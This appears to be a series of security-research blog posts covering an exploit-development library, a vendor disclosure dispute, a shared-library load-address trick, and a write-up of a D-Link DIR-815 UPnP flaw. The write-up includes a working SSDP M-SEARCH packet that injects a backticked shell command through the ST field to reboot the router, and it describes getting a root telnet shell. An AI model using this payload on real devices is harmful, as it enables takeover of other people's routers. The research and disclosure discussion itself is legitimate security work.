Vulnerability research on embedded systems, particularly MIPS Linux systems, is an underserved area.  Other targets such as x86 desktop systems and ARM smartphones and tablets have a wealth of tools and techniques readily available to the researcher.  In the past year and a half as I've been doing more and more research on embedded devices and developing exploits for them, I've had to roll a bunch of my own code whenever I needed something that wasn't already available.  I began to realize that I should probably pull all these things together into a single project to help with exploit development.

Crossbow is that project.  Why "Crossbow"?  Mainly because I thought it sounded cool.  But also because I wanted the name to evoke the image of an offensive tool that is lightweight and uncomplicated.

At Tactical Network Solutions, we don't generally use the defacto standard Metasploit Framework for exploit development.  This is for a variety of reasons.  Among them is that we mostly code in Python.  The tools, libraries, frameworks, etc. that we've all developed internally are mostly in Python.  Plus, the vulnerability research community has really crystalized around Python as a research and development language, so there are a ton of external resources in that language.  Point is, we'd like to stick with Python if we can.

Also, MSF provides a whole lot that we don't need but not very much that we do need.  We wanted something useful but lightweight.  You can install Crossbow on your development system, or just stick it right in the source tree of your exploit code. Whatever. It's all good.

So this is the motivation behind Crossbow: Python code that eases the development of exploits, plays nice with our other stuff built in Python, and doesn't provide a ton of stuff we don't really need.

To be clear, Crossbow is to aid in the development of exploits.  It's not an exploitation framework or pen-test tool in and of itself.  I don't envision packaging actual exploit code with it.  Its purpose is to abstract some of the tedious details of exploit development such as encoders, payloads, building a ROP chain, etc.

I hope to post a few tutorials in the next few days on using Crossbow to develop exploits against embedded systems.

Please try it out and let me know what you think.  If you'd like to add features or fix bugs (and I really, REALLY hope you do), clone my repo and send me a pull request.

Cheers and keep up the hacking.

Check out Crossbow from github: https://github.com/zcutlip/crossbow.git

Check out Bowcaster from github: https://github.com/zcutlip/bowcaster.git

Sunday, February 10, 2013

Hacking is Bullshit

I love hacking.  I love vulnerability research.  I love software exploitation.  I love finding creative ways to subvert control of an application or system to make it do something it wasn't intended to do.

But this is research, and like any research, lots of things never pan out.  It's weird because it involves hours, often hundreds or even thousands of hours, of frustration paid off by successes that last only moments.  And the cycle repeats.

In order to develop an exploit we spend countless hours dissecting hardware and software looking for an oversight or misstep on the part of the developer.  We follow dead end paths, only to realize they're dead ends days or weeks in.  We often spend even more time wrestling with tools, trying to get them to work the way they should or to work together properly.  When there isn't a tool already available we spend hours developing one that will help answer an esoteric question or shine light in a dark crevice.

When nothing's going right and at the height of frustration, I'm known to mutter "hacking is bullshit" and walk out of the room.  My colleague, Craig, and I have now taken to calling arbitrary things "bullshit."  Usually hacking, but often computers, programming, people, or D-Link routers.

Yet, we are driven to hack.  We are driven to further the study of vulnerability research, to keep moving the ball down the field.  The exchange of hours of frustration for minutes of victory is worth it.  It's worth it because the next time we solve a similar problem, it takes a few hours rather than hundreds. It's worth it because the victory is amazing.  It's worth it because the euphoria is like nothing else.

It's worth it, but let's be clear: hacking is bullshit.

I wanted to capture the irony of the frustration-to-victory inequity of hacking, so I made a T-shirt on Zazzle called "Hacking is Bullshit."

Here are some pictures:



I made it for myself, but if you'd like one of your own, here's a link that sends me a little kickback for beer.

Cheers and keep up the hacking.  It's worth it.

Friday, February 01, 2013

DLink DIR-815 UPnP Command Injection

With all the excitement regarding UPnP vulnerabilities lately, I though I'd write up this one I found a few weeks back.  I had kind of forgotten about it.  But it's pretty straight forward, and kind of fun, so here it is.

In Tactical Network Solutions' Intro to Embedded Device Exploitation class, we use the D-Link DIR-815 for the practical exercises since there are tons of great 0-days for the students to find.  The last time we taught the class, I thought I'd try my hand at finding a new one. Twenty minutes in, voila! Command injection in a single multicast packet!

The DIR-815 has a single binary executable, /htdocs/cgibin, that is responsible for handling most, if not all, HTTP requests.  I found a symlink to cgibin called 'ssdpcgi':

zach@endor: dir-815-reva1/v1.00/squashfs-root/htdocs (0) $ ls -l upnp/ssdpcgi
lrwxrwxrwx 1 zach wheel 14 Jan  9 13:43 upnp/ssdpcgi -> /htdocs/cgibin

If we disassemble cgibin and look at ssdpcgi_main(), we see it executing a shell script called "/etc/scripts/upnp/M-SEARCH.sh".

IDA Screenshot: A shell script gets excecuted with the contents of the ST field as an argument.
A shell script gets excecuted with the contents of the ST field as an argument.
So let's look at M-SEARCH.sh:



The contents of the M-SEARCH packet get turned into shell arguments.  If we can get one of the arguments to be a string inside backticks, the string gets executed by system()'s 'sh -c' and its output gets handed to M-SEARCH.sh as arguments.

So what if we send an M-SEARCH packet with the ST: field containing the string `reboot`?

M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
ST:uuid:`reboot`
MX:2
MAN:"ssdp:discover"

If we send that packet to the 239.255.255.250 multicast address, on UDP port 1900, our D-Link router reboots! Nice!

But rebooting routers is bullshit.  Root or it didn't happen, right?  Okay, no problem.  D-Link routers generally come with a telnet server onboard, so lets use the command injection to fire it up:

Getting root via command injection on the D-Link DIR-815 wireless router

Ownage in a single multicast packet.  Not bad for 20 minutes of strings analysis and a few lines of Python.


Here's some proof-of-concept python code to try out.

Thursday, November 29, 2012

UPDATED: Responsible (non)Disclosure

Update: I received a personal communication from Mr. Flemming.  He makes the case that what I believed to be a subtextual threat was not intended.  Not necessarily speaking for TNS, I am inclined to take him at his word and that my initial read of the situation may have been unduly skeptical.  I hope to post additional updates as things develop.  I'm leaving the original text of this post intact, though, as it provides meaningful context for the situation that is unfolding.

Original Post:
So here's something awesome.  And by "awesome" I mean "kinda shitty."

Back in August, having seen me on Hak5 talking about hacking Netgear WiFi routers at Black Hat, someone contacted me through my company's website asking if I'd be willing to help out with some hobbyist WiFi router hacking.  (As an aside, the company that I work for is Tactical Network Solutions.  We're a boutique computer security firm in the US, specializing in vulnerability research and advanced exploitation of network infrastructure and related embedded systems.)  The person, whom I'll call Will, told me he and others are trying to root their ISP-provided modem/routers so they can customize them and even use them with other ISPs.  Essentially they're wanting to jailbreak them.

I responded to Will that if he would ship me some actual hardware, I'd take a look in my free time, but no promises.  I wrote this off as something that happens when you get a few seconds in the Internet's spotlight, and figured I wouldn't hear from Will again.  To my surprise, Will shipped me a couple of routers to hack on, so I signed on to their forum and got caught up on their research to date.

I spent about six weeks, part time, poking at the router's firmware.  Expecting to find the sort of low hanging fruit we typically find in embedded gear, I thought this would be an easy win.  I was wrong.  I ended up taking an onion-like approach, investigating various aspects of the device in multiple passes gaining a deeper understanding with each pass.  I finally found an application that I could successfully crash, controlling the CPU's instruction pointer.  This was promising.  I was confident I could develop an exploit that would yield a root shell, and bring us closer to jailbreaking the device.

I posted an update about the crash to the forum.  What happened next was unexpected.  A couple of days later, I received an email directly from the ISP's retail head of security.  Mind you, this ISP operates communications infrastructure and sells services on multiple continents. This gentleman, whom I'll call "Mr. Flemming," reports to the corporation's board and CEO.  My research had caught the attention of this vendor in no small way.

Mr. Flemming expressed concern that the vulnerability I had discovered would impact their customers' security and asked me not to disclose it publicly.  Rather, I should share the details of the crash with his technical team so they could fix it.  Reasonable, right?

At this point, I should point out that at TNS, we've never before been contacted by a vendor regarding our research.  I know readers will attribute various motives to this vendor for wanting to prevent this bug's public disclosure.  I'll just say this is a large company whose motivations are complex.  I'm sure many possible motives are factors in their decision process.

"Well, this is interesting," I said to our managing partners.  They agreed.  While Mr. Flemming's message was amicable in tone, the subtext was clear: "We've been watching you. We know who you are.  Mr. McGee, you wouldn't like us when we're angry."  One of the partners promptly responded to Mr. Flemming's request, via email.  The conversation spanned a couple of weeks and several messages.  It went something like the following:

Us: We'll provide you with priority access to our research for no charge, with the following terms:
    -We plan to release a proof-of-concept exploit after 30 days
    -We want to publish papers and present our research at conferences such as Black Hat.

Them: We want 90 days before public disclosure, and we want veto power over anything you want to publish.

(At this point we looked at each other and said: "Wait...what?  We're offering our research to them for no charge, and they're not happy with the terms?")

Us: How about if you reimburse us for our time--we're not trying to profit--and we'll work with you on a longer release window.  We reserve the right to publish our findings, though.

Them: We don't pay for research we don't commission.  Sorry.  Also we'd really like you to let us review in advance (i.e., veto?) anything you plan to publish.

So that's where we stand.  It's frustrating.  While vulnerability research is still a nascent field where the legal ramifications are untested, this doesn't seem like a completely original problem.  I know we're not the only ones forging this path.

Tuesday, October 23, 2012

Specifying Preferred Load Addresses for ELF Shared Libraries

[NOTE: This was going to be a post about how to relocate a shared library that is loaded using LD_PRELOAD such that a program's linked libraries get loaded at their normal addresses.  Sadly, the trick I thought would do that didn't actually work for me.  The library got relocated, but the other libraries weren't restored to their natural base addresses.  That said, it still is interesting and worth writing up.]

I'm currently developing a buffer overflow exploit for an application that runs on an embedded device.  I don't have console access to the live device--in fact the main goal for this exploit is to get an interactive shell so that I can do more analysis.  Since I don't have console access, I have to debug the application and the exploit entirely in the QEMU emulator.

I have to use several ROP gadgets in my exploit, so I need to test and develop with the libraries containing the gadgets loaded at their normal addresses.  Hence, I'm using QEMU full system emulation running Debian MIPS. QEMU binary emulation won't load the application's libraries in the right location.

There's a hitch, however.  The emulated system doesn't provide the same hardware that the target device has, so I have to convince the target application it has the right environment.  One of the many tricks required is to intercept NVRAM queries and provide the right answers.  In order to do this, I wrote an NVRAM faker library and LD_PRELOAD it when I run the target application.

Did I say there's a hitch? Actually there are a bunch of hitches.  Another problem is that when you LD_PRELOAD a library, it gets loaded before the application's other libraries.  As a result, the load addresses are all off from where they would normally be.  Since the whole point here is to run the application with the libraries loaded at the proper addresses, this won't work.

Here's a look at the application's memory layout without LD_PRELOAD:



Above, you see libc (specifically libc's text segment) loaded at 0x2aaf9000.

If we run the program, using LD_PRELOAD to load the nvram library:
export LD_PRELOAD=/mylib/libnvram-faker.so,
the load addresses change.

Here's another look at the program's memory maps, this time with libnvram-faker.so preloaded:


Here, you can see libnvram-faker.so mapped right after the dynamic loader itself, at 0x2aabe000.  This has shifted everything down, and libc is now loaded at 0x2ab3a000.

However, the linker, GNU ld, has an option to specify a preferred address for the text segment.  If we give GCC the option, '-Wl,-Ttext-segment=', it will pass that option on to the linker.

There are a couple of things to note about the address you specify.  First, the address needs to be a multiple of the maximum page size, generally 4K, or 0x1000.  Second, this address is going to be an offset from where the dynamic linker would normally load your library.  Since that is generally right after the linker's load address, you can subtract that address from your desired address, rounding up to the nearest page, to get the offset.

0x2abee000 - 0x2aabe000 = 0x13000

So we tell gcc: -Wl,Ttext-segment=0x13000.

Now with the new version of the library loaded, let's look at the memory map for our application:




We see libnvram-faker now located at higher addresses than all the other libraries: at 0x2abee000.  So specifying a preferred load address for the text segment had the desired effect.  Sadly (for my specific issue) this didn't result in the other libraries being restored to their original base addresses.

This is, of course, if your linker knows about the Ttext-segment linker script.  I found that some older versions of GNU ld did not.  You may be constrained to an older toolchain in order to be compatible with your target system.  To quote the (in)famous Cormen algorithms text: "this problem is left as an exercise for the reader."